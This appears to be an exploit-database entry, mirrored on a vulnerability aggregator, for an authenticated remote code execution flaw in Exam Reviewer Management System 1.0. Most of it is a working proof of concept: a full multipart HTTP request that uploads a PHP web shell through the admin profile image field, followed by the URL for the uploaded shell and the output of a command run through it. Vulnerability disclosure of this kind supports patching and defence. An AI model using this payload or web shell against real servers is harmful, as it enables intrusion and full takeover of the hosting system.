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Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-02-08
# Exploit Author: Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code
# Version: 1.0
# Tested on: XAMPP, Kali Linux
Description – The application suffers from a remote code execution in the
admin panel. An authenticated attacker can upload a web-shell php file in
profile page to achieve remote code execution.
POC:-
==========
# Request:
==========
POST /erms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------37791356766765055891341961306
Content-Length: 1004
Origin: http://localhost
Connection: close
Referer: http://localhost/erms/admin/?page=user
Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="id"
1
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="firstname"
Adminstrator
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="username"
admin
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="password"
-----------------------------37791356766765055891341961306
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/x-php
<html>
<body>
<b>Remote code execution: </b><br><pre>
<?php if(isset($_REQUEST['cmd'])){ echo
"<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
</pre>
</body>
</html>
-----------------------------37791356766765055891341961306—
================
# Webshell access:
================
# Webshell access via:
POC: http://localhost/erms/uploads/1644334740_shell.php?cmd=id
# Webshell response:
Remote code execution:
uid=1(daemon) gid=1(daemon) groups=1(daemon)Data
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09 Feb 2022 00:00Current
7.4High risk
Vulners AI Score7.4